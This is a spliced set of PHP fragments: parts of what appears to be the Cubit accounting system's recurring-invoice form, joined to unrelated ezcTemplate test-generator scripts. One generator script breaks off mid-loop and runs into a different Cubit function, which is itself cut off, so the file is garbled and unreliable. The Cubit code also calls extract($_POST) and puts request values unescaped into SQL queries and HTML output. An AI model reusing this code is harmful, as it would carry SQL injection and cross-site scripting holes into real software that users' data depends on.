if (!isset($err)) {
$err = "";
}
$err .= "<li>There are no stock items in the selected store.</li>";
//ontinue;
}
$stks = "<select name='stkidss[]' onChange='javascript:document.form.submit();'>";
$stks .= "<option value='-S' disabled selected>Select Number</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$stks .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$stks .= "</select> ";
$products .= "\n\t\t\t\t\t<input type='hidden' name='descriptionss[]' value=''>\n\t\t\t\t\t<input type='hidden' name='vatcodess[]' value=''>\n\t\t\t\t\t<input type='hidden' name='accountss[]' value='0'>\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><input type='hidden' name='whidss[]' value='{$whid}'>{$wh['whname']}</td>\n\t\t\t\t\t\t<td>{$stks}</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td><input type='hidden' size='3' name='qtyss[]' value='1'>1</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td><input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t\t<td>" . CUR . " 0.00</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>";
} else {
$products .= "\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td>{$whs}</td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t<td><input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t\t<td>" . CUR . " 0.00</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>";
}
} else {
if (isset($addnon)) {
db_conn('core');
$Sl = "SELECT accid,topacc,accnum,accname FROM accounts WHERE acctype='I' ORDER BY accname";
$Ri = db_exec($Sl) or errDie("Unable to get accounts.");
$Accounts = "\n\t\t\t\t<select name='accountss[]'>\n\t\t\t\t\t<option value='0'>Select Account</option>";
while ($ad = pg_fetch_array($Ri)) {
if (isb($ad['accid'])) {
continue;
}
$Accounts .= "<option value='{$ad['accid']}'>{$ad['accname']}</option>";
}
$Accounts .= "</select>";
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t<select name='vatcodess[]'>\n\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['del'] == "Yes") {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
$products .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td colspan='2'>{$Accounts}<input type='hidden' name='whidss[]' value='{$FIRST_WH}'></td>\n\t\t\t\t\t<input type='hidden' name='stkidss[]' value='-S'>\n\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t<td><input type='text' size='20' name='descriptionss[]'></td>\n\t\t\t\t\t<td><input type='text' size='3' name='qtyss[]' value='1'></td>\n\t\t\t\t\t<td><input type='text' name='unitcosts[]' size='7'></td>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td>" . CUR . " 0.00</td>\n\t\t\t\t\t<td><input type='hidden' name='discs[]' value='0'><input type='hidden' name='discps[]' value='0'></td>\n\t\t\t\t</tr>";
}
}
}
/* -- start Listeners -- */
if (isset($diffwhBtn)) {
$products .= "\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>{$whs}</td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td></td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td> </td>\n\t\t\t\t<td><input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t<td>" . CUR . " 0.00</td>\n\t\t\t\t<td></td>\n\t\t\t</tr>";
}
/* -- End Listeners -- */
$products .= "</table>";
/* --- End Products Display --- */
/* --- Start Some calculations --- */
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
# Calculate tradediscm
if ($inv['traddisc'] > 0) {
$traddiscm = sprint($inv['traddisc'] / 100 * ($SUBTOT + $inv['delchrg']));
} else {
$traddiscm = "0.00";
}
$VATP = TAX_VAT;
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
$VAT = sprint($inv['vat']);
$TOTAL = sprint($inv['total']);
$inv['delchrg'] = sprint($inv['delchrg']);
/* --- End Some calculations --- */
/*--- Start checks --- */
# check only if the customer is selected
if (isset($cusnum) && $cusnum != "-S") {
#check againg credit limit
if ($TOTAL + $cust['balance'] > $cust['credlimit']) {
$error .= "<li class='err'>Warning : Customers Credit limit of <b>" . CUR . " " . sprint($cust["credlimit"]) . "</b> has been exceeded";
}
$avcred = $cust['credlimit'] - $cust['balance'];
} else {
$avcred = "0.00";
}
$inv['delvat'] += 0;
if ($inv['delvat'] == 0) {
$Sl = "SELECT * FROM vatcodes WHERE del='Yes'";
$Ri = db_exec($Sl) or errDie("Unable to get data.");
$vd = pg_fetch_array($Ri);
$inv['delvat'] = $vd['id'];
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t<select name='delvat'>\n\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['id'] == $inv['delvat']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
db_conn('cubit');
$Sl = "SELECT * FROM costcenters";
$Ri = db_exec($Sl);
if (pg_num_rows($Ri) > 0) {
$ctd = "\n\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t<tr>\n\t\t\t\t\t<th>Cost Center</th>\n\t\t\t\t\t<th>Percentage</th>\n\t\t\t\t</tr>";
$i = 0;
while ($data = pg_fetch_array($Ri)) {
$Sl = "SELECT * FROM invc WHERE inv='{$invid}' AND cid='{$data['ccid']}'";
$Rq = db_exec($Sl);
$cd = pg_fetch_array($Rq);
$ctd .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>{$data['centername']}</td>\n\t\t\t\t\t<td><input type='text' name='ct[{$data['ccid']}]' size='5' value='{$cd['amount']}'>%</td>\n\t\t\t\t</tr>";
$i++;
}
$ctd .= "</table>";
} else {
$ctd = "";
}
// Retrieve default comments from Cubit
if (empty($inv["comm"])) {
db_conn("cubit");
$sql = "SELECT value FROM settings WHERE constant='DEFAULT_COMMENTS'";
$commRslt = db_exec($sql) or errDie("Unable to retrieve default comment from Cubit.");
$comment = base64_decode(pg_fetch_result($commRslt, 0));
} else {
$comment = $inv["comm"];
}
if (!isset($showvat)) {
$showvat = TRUE;
}
if ($showvat == TRUE) {
$vat14 = AT14;
} else {
$vat14 = "";
}
// Which display method was selected
if (isset($sel_frm) && $sel_frm == "stkdes") {
$sel_frm_cod = "";
$sel_frm_des = "checked";
} else {
$sel_frm_cod = "checked";
$sel_frm_des = "";
}
/*--- Start checks --- */
/* -- Final Layout -- */
$details_begin = "\n\t\t<center>\n\t\t<h3>Recurring Invoice</h3>\n\t\t<form action='" . SELF . "' method='POST' name='form'>\n\t\t\t<input type='hidden' name='key' value='update'>\n\t\t\t<input type='hidden' name='invid' value='{$invid}'>\n\t\t\t<input type='hidden' name='stkerr' value='{$stkerr}'>\n\t\t<table " . TMPL_tblDflts . " width='95%'>\n\t\t\t<tr>\n\t\t\t\t<td valign='top'>\n\t\t\t\t\t<div id='cust_selection'>";
if (empty($ajax_err) && (isset($cusnum) || AJAX)) {
if (isset($cusnum)) {
$OTS_OPT = onthespot_encode(SELF, "cust_selection", "deptid={$inv['deptid']}&letters={$letters}&cusnum={$cusnum}&invid={$invid}");
$custedit = "\n\t\t\t\t<td nowrap>\n\t\t\t\t\t<a href='javascript: popupSized(\"cust-edit.php?cusnum={$cusnum}&onthespot={$OTS_OPT}\", \"edit_cust\", 700, 630);'>\n\t\t\t\t\t\tEdit Customer Details\n\t\t\t\t\t</a>\n\t\t\t\t</td>";
} else {
$custedit = "";
}
$ajaxOut = "\n\t\t\t<input type='hidden' name='letters' value='{$letters}'>\n\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'> Customer Details </th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Department</td>\n\t\t\t\t\t<td valign='center'>{$dept['deptname']}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Account No.</td>\n\t\t\t\t\t<td valign='center'>{$cust['accno']}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Customer</td>\n\t\t\t\t\t<td valign='center'>{$customers}</td>\n\t\t\t\t\t{$custedit}\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td valign='top'>Customer Address</td>\n\t\t\t\t\t<td valign='center'>" . nl2br($cust['addr1']) . "</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Customer Order number</td>\n\t\t\t\t\t<td valign='center'><input type='text' size='10' name='cordno' value='{$inv['cordno']}'></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Customer VAT Number</td>\n\t\t\t\t\t<td>{$cust['vatnum']}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'>Point of Sale</th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Barcode</td>\n\t\t\t\t\t<td><input type='text' size='13' name='bar' value=''></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Select Using</td>\n\t\t\t\t\t<td>Stock Code<input type='radio' name='sel_frm' value='stkcod' onChange='javascript:document.form.submit();' {$sel_frm_cod}><br>Stock Description<input type='radio' name='sel_frm' value='stkdes' onChange='javascript:document.form.submit();' {$sel_frm_des}></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "' " . ass("Type the first letters of the stock code you are looking for.") . ">\n\t\t\t\t\t<td>Stock Filter</td>\n\t\t\t\t\t<td nowrap><input type='text' size='13' name='ria' value='{$ria}'> <input type='submit' value='Search'> <input type='submit' name='ria' value='Show All'></td>\n\t\t\t\t</tr>\n\t\t\t</table>";
} else {
# Query server for depts
db_conn("exten");
$sql = "SELECT * FROM departments WHERE div = '" . USER_DIV . "' ORDER BY deptname ASC";
$deptRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($deptRslt) < 1) {
return "<li class='err'>There are no Departments found in Cubit.</li>";
} else {
$depts = "<select id='deptid'>";
$depts .= "<option value='0'>All Departments</option>";
while ($dept = pg_fetch_array($deptRslt)) {
$depts .= "<option value='{$dept['deptid']}'>{$dept['deptname']}</option>";
}
$depts .= "</select>";
}
if (!isset($ajax_err)) {
$ajax_err = "";
}
$ajaxOut = "\n\t\t\t<script>\n\t\t\t\tfunction updateCustSelection() {\n\t\t\t\t\tdeptid = getObject('deptid').value;\n\t\t\t\t\tletters = getObject('letters').value;\n\t\t\t\t\tajaxRequest('" . SELF . "', 'cust_selection', AJAX_SET, 'letters='+letters+'&deptid='+deptid+'&invid={$invid}');\n\t\t\t\t}\n\t\t\t</script>\n\t\t\t{$ajax_err}\n\t\t\t<table " . TMPL_tblDflts . " width='400'>\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'>New Recurring Invoice</th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Select Department</td>\n\t\t\t\t\t<td valign='center'>{$depts}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>First Letters of customer</td>\n\t\t\t\t\t<td valign='center'><input type='text' size='5' id='letters' maxlength='5'></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td> </td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td> </td>\n\t\t\t\t\t<td valign='center'><input type='button' value='Update' onClick='updateCustSelection();'></td>\n\t\t\t\t</tr>\n\t\t\t</table>";
}
if (isset($diffwhBtn) or isset($addprodBtn) or isset($addnon) or isset($upBtn) or isset($saveBtn) or isset($ria)) {
$jump_bot = "\n\t\t\t<script>\n\t\t\t\twindow.location.hash='bottom';\n\t\t\t</script>";
} else {
$jump_bot = "";
}
$details_end = "\n\t\t\t\t\t</div>\n\t\t\t\t</td>\n\t\t\t\t<td valign='top' align='right'>\n\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th colspan='2'> Invoice Details </th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Invoice No.</td>\n\t\t\t\t\t\t\t<td valign='center'>RI {$inv['invid']}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Document Ref No.</td>\n\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='docref' value='{$inv['docref']}'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Sales Order No.</td>\n\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='ordno' value='{$inv['ordno']}'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>VAT Inclusive</td>\n\t\t\t\t\t\t\t<td valign='center'>Yes <input type='radio' size='7' name='chrgvat' value='inc' {$chin}> No<input type='radio' size='7' name='chrgvat' value='exc' {$chex}></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Terms</td>\n\t\t\t\t\t\t\t<td valign='center'>{$termssel} Days</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Sales Person</td>\n\t\t\t\t\t\t\t<td valign='center'>{$salesps}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Invoice Date</td>\n\t\t\t\t\t\t\t<td valign='center'>" . mkDateSelect("rinv", $rinv_year, $rinv_month, $rinv_day) . "</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Available Credit</td>\n\t\t\t\t\t\t\t<td>" . CUR . " " . sprint($avcred) . "</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Trade Discount</td>\n\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='traddisc' value='{$inv['traddisc']}'>%</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Delivery Charge</td>\n\t\t\t\t\t\t\t<td valign='center'><input type='text' size='7' name='delchrg' value='{$inv['delchrg']}'>{$Vatcodes}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td colspan='2'>{$ctd}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr><td><br></td></tr>\n\t\t\t<tr>\n\t\t\t\t<td colspan='2'>{$products}</td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td>\n\t\t\t\t\t<p>\n\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td rowspan='2'>" . mkQuickLinks(ql("cust-credit-stockinv.php", "New Invoice"), ql("rec-invoice-view.php", "View Recurring Invoices"), ql("customers-new.php", "New Customer")) . "\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<th width='25%'>Comments</th>\n\t\t\t\t\t\t\t<td rowspan='5' valign='top' width='50%'>{$error}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td class='" . bg_class() . "' rowspan='4' align='center' valign='top'><textarea name='comm' rows='4' cols='20'>{$comment}</textarea></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t\t<td align='right' valign='top'>\n\t\t\t\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>SUBTOTAL</td>\n\t\t\t\t\t\t\t<td align='right'>" . CUR . " <input type='hidden' name='SUBTOT' value='{$SUBTOT}'>{$SUBTOT}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Trade Discount</td>\n\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " {$inv['discount']}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Delivery Charge</td>\n\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " {$inv['delivery']}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td><b>VAT {$vat14}</b></td>\n\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " {$VAT}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<th>GRAND TOTAL</th>\n\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " {$TOTAL}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td align='right'><input name='diffwhBtn' type='submit' value='Different Store'> | <input name='addprodBtn' type='submit' value='Add Product'> | <input name='addnon' type='submit' value='Add Non stock Product'> | <input type='submit' name='upBtn' value='Update'> </td>\n\t\t\t\t<td> | <input type='submit' name='saveBtn' value='Save »'></td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<a name='bottom'>\n\t\t</form>\n\t\t</center>\n\t\t{$jump_bot}";
if (AJAX) {
return $ajaxOut;
} else {
return "{$details_begin}{$ajaxOut}{$details_end}";
}
}
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/if/correct/if_nested.in
$ws = alt("", " \t", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$empty = alt('');
$if = perm("{if \$_foo}", "\n {\$_foo}\n", "{/if}\n");
$ifElse = perm("{if \$_false}", "\n {\$_foo}\n", "{else}", "\n {\$_bar}\n", "{/if}\n");
$ifElseIf = perm("{if \$_false}", "\n {\$_foo}\n", "{elseif \$_true}", "\n {\$_bar}\n", "{/if}\n");
$ifElseIfElse = perm("{if \$_false}", "\n {\$_foo}\n", "{elseif \$_true}", "\n {\$_bar}\n", "{else}", "\n {\$_false}\n", "{/if}\n");
$ifElseIfElse2 = perm("{if \$_false}", "\n {\$_foo}\n", "{elseif \$_true}", "\n {\$_bar}\n", "{elseif \$_false}", "\n {\$_bar}\n", "{else}", "\n {\$_false}\n", "{/if}\n");
$ifNested = perm("{if \$_foo}\n", altI('--->', clone $empty, clone $if, clone $ifElse, clone $ifElseIf, clone $ifElseIfElse, clone $ifElseIfElse2), "{/if}\n");
$ifNested2 = perm("{if \$_foo}\n", altI('===>', clone $if, clone $ifElse, clone $ifElseIf, clone $ifElseIfElse, clone $ifElseIfElse2, clone $ifNested), "{/if}");
$list = perm(clone $if, clone $ifElse, clone $ifElseIf, clone $ifElseIfElse, clone $ifElseIfElse2, clone $ifNested2);
$a = app("if/correct/if_nested.in", $argv);
$a->output("{var \$_foo = \"foo\",\n \$_bar = \"bar\",\n \$_false = false,\n \$_true = true}\n");
do {
$str = $list->generate();
$a->output($str . "\n");
} while ($list->increase());
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/literals/array_create_with_comments3.in
$ws = alt("", " \t", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$list = perm('debug_dump( array', '(', alt(perm(clone $comments, '0', clone $comments, ',', clone $comments, '1', clone $comments)), ') )');
$a = app("literals/array_create_with_comments3.in", $argv);
do {
$str = $list->generate();
$a->output("{" . $str . "}\n");
} while ($list->increase());
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/switch/correct/switch_nested.in
$ws = alt("", " \t", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$empty = alt('');
function makeCase($nums)
{
if (!is_array($nums)) {
$nums = array($nums);
}
$list = array();
return alt("{case " . implode(",", $nums) . "}\n {\"{case " . var_export(implode(",", $nums), true) . "}\"}\n{/case}\n");
}
$switch = perm("{switch \$_num_1}\n", "{/switch}\n");
$switch1 = perm("{switch \$_num_1}\n", alt(makeCase('1'), makeCase(array('1', '2'))), "{/switch}\n");
$switch2 = perm("{switch \$_num_2}\n", alt(makeCase('1'), makeCase(array('1', '3'))), alt(makeCase('2'), makeCase(array('2', '3'))), "{/switch}\n");
$switchDef = perm("{switch \$_num_4}\n", alt(makeCase('1'), makeCase(array('1', '3'))), alt(makeCase('2'), makeCase(array('2', '3'))), "{default}\n {\"{default}\"}\n{/default}\n", "{/switch}\n");
$switchDef2 = perm("{switch \$_num_3}\n", "{default}\n {\"{default}\"}\n{/default}\n", "{/switch}\n");
$switchNested = perm("{switch \$_num_1}\n", "{case '1'}\n", altI(' ', clone $switch, clone $switch1, clone $switch2, clone $switchDef, clone $switchDef2), "{/case}\n", "{default}\n {\"{default}\"}\n{/default}\n", "{/switch}\n");
$list = perm(alt(clone $switch, clone $switch1, clone $switch2, clone $switchDef, clone $switchDef2, clone $switchNested));
$a = app("switch/correct/switch_nested.in", $argv);
$a->output("{var \$_num_1 = 1, \$_num_2 = 2, \$_num_3 = 3, \$_num_4 = 4}\n");
do {
$str = $list->generate();
$a->output($str . "\n");
} while ($list->increase());
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/expressions/correct/modifying_operators_*.in
$modifyingOperators = alt("=", "+=", "-=", "*=", "/=", "%=", ".=");
$constValues = alt("5", "-\$foo");
$modify = perm("\$bar", " ", $modifyingOperators, alt(perm(alt("", perm(" \$bar2 ", clone $modifyingOperators)), " ", 5)));
$modifiers = alt($modify);
$main = alt(perm("[{\$bar = 101}{\$bar2 = 201}{", $modifiers, "}", "{str_number( \$bar, 5, ',', '' )},{str_number( \$bar2, 5, ',', '' )}]\n"));
$list = perm("%num%:", $main);
// special tests
// $a == $b == $c (should produce proper PHP code ) => ($a == $b) == $c
// $a = $b = $c (should produce proper PHP code) $a = ($b = $c)
$dir = dirname(__FILE__) . "/../regression_tests/";
$a = app("expressions/correct/modifying_operators.in", $argv);
$objCode = "if ( !class_exists( 'ezcTemplateTestModOpMyClass', false ) )\n" . "{\n" . " class ezcTemplateTestModOpMyClass\n" . " {\n" . " public \$foo = 301;\n" . " }\n" . "}\n" . "\$obj = new ezcTemplateTestModOpMyClass();\n";
$i = 1;
$top = "{var \$foo = 42, \$bar = 101, \$bar2 = 201, \$arr = array( 'foo' => 401 )}\n";
$topPHP = "\$foo = 42; \$bar = 101; \$bar2 = 201; \$arr = array( 'foo' => 401 );\n";
$phpCode = '';
$fileOut = $dir . "expressions/correct/modifying_operators.out";
$filePHP = $dir . "expressions/correct/modifying_operators.php";
$a->output($top);
do {
$num = sprintf("%04d", $i);
$str = $list->generate();
$str = str_replace("%num%", $num, $str);
$fileIn = $dir . "expressions/correct/modifying_operators_" . $num . ".in";
$a->output($str);
if ($main->index == 0) {
$phpCode .= "\$bar = 101; \$bar2 = 201;\n" . $modifiers->generate() . ";\n" . "echo '{$num}:[', number_format( \$bar, 5, ',', '' ), ',', number_format( \$bar2, 5, ',', '' ), \"]\\n\";\n";
function details($_POST, $error = "")
{
# Get vars
extract($_POST);
# validate input
require_lib("validate");
$v = new validate();
if (isset($invid)) {
$v->isOk($invid, "num", 1, 20, "Invalid invoice number.");
} else {
$v->isOk($deptid, "num", 1, 20, "Invalid department number.");
$v->isOk($letters, "string", 0, 5, "Invalid First 3 Letters.");
}
# display errors, if any
if ($v->isError()) {
$errors = $v->getErrors();
foreach ($errors as $e) {
$error .= "<li class='err'>" . $e["msg"] . "</li>";
}
$confirm .= "{$error}<p><input type='button' onClick='JavaScript:history.back();' value='« Correct submission'>";
return $confirm;
}
if (isset($deptid)) {
db_connect();
# Query server for customer info
$sql = "SELECT cusnum,cusname,surname FROM customers WHERE deptid = '{$deptid}' AND location = 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$custRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($custRslt) < 1) {
$err = "<li class='err'>No customer names starting with <b>{$letters}</b> in database.</li>";
return view_err($_POST, $err);
}
}
if (!isset($invid)) {
$invid = create_dummy($deptid);
$stkerr = "0,0";
}
if (!isset($done)) {
$done = "";
}
# Get invoice info
db_connect();
$sql = "SELECT * FROM invoices WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$invRslt = db_exec($sql) or errDie("Unable to get invoice information");
if (pg_numrows($invRslt) < 1) {
return "<li class='err'>Invoice Not Found</li>";
}
$inv = pg_fetch_array($invRslt);
# Check if invoice has been printed
if ($inv['printed'] == "y") {
$error = "<li class='err'> Error : Invoice number <b>{$invid}</b> has already been printed.</li>";
$error .= "<p><input type='button' onClick='JavaScript:history.back();' value='« Correct submission'>";
return $error;
}
$currs = getSymbol($inv['fcid']);
# Get department
db_conn("exten");
$sql = "SELECT * FROM departments WHERE deptid = '{$inv['deptid']}' AND div = '" . USER_DIV . "'";
$deptRslt = db_exec($sql);
if (pg_numrows($deptRslt) < 1) {
$dept['deptname'] = "<li class='err'>Department not Found.</li>";
} else {
$dept = pg_fetch_array($deptRslt);
}
# Get selected Customer info
db_connect();
$sql = "SELECT * FROM customers WHERE cusnum = '{$inv['cusnum']}' AND location = 'int' AND div = '" . USER_DIV . "'";
$custRslt = db_exec($sql) or errDie("Unable to view customer");
if (pg_numrows($custRslt) < 1) {
db_connect();
# Query server for customer info
$sql = "SELECT cusnum,cusname,surname FROM customers WHERE deptid = '{$inv['deptid']}' AND location = 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$custRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($custRslt) < 1) {
$err = "<li class='err'>No customer names starting with <b>{$letters}</b> in database.</li>";
return view_err($_POST, $err);
} else {
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
$customers .= "<option value='-S' selected>Select Customer</option>";
while ($cust = pg_fetch_array($custRslt)) {
$customers .= "<option value='{$cust['cusnum']}'>{$cust['cusname']} {$cust['surname']}</option>";
}
$customers .= "</select>";
}
# Take care of the unset vars
$cust['addr1'] = "";
$cust['cusnum'] = "";
$cust['vatnum'] = "";
$cust['accno'] = "";
} else {
$cust = pg_fetch_array($custRslt);
$sql = "SELECT cusnum, cusname, surname FROM customers WHERE deptid = '{$inv['deptid']}' AND location = 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$cusRslt = db_exec($sql) or errDie("Unable to view customers");
# Moarn if customer account has been blocked
if ($cust['blocked'] == 'yes') {
$error .= "<li class='err'>Error : Selected customer account has been blocked.";
}
// $customers = "<input type=hidden name=cusnum value='$cust[cusnum]'>$cust[cusname] $cust[surname]";
$cusnum = $cust['cusnum'];
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
// $customers .= "<option value='-S' selected>Select Customer</option>";
while ($cus = pg_fetch_array($cusRslt)) {
$sel = "";
if ($cust['cusnum'] == $cus['cusnum']) {
$sel = "selected";
}
$customers .= "<option value='{$cus['cusnum']}' {$sel}>{$cus['cusname']} {$cus['surname']}</option>";
}
$customers .= "</select>";
}
/* --- Start Drop Downs --- */
# Select warehouse
db_conn("exten");
$whs = "<select name='whidss[]' onChange='javascript:document.form.submit();'>";
$sql = "SELECT * FROM warehouses WHERE div = '" . USER_DIV . "' ORDER BY whname ASC";
$whRslt = db_exec($sql);
if (pg_numrows($whRslt) < 1) {
return "<li class='err'> There are no Stores found in Cubit.</li>";
} else {
$whs .= "<option value='-S' disabled selected>Select Store</option>";
while ($wh = pg_fetch_array($whRslt)) {
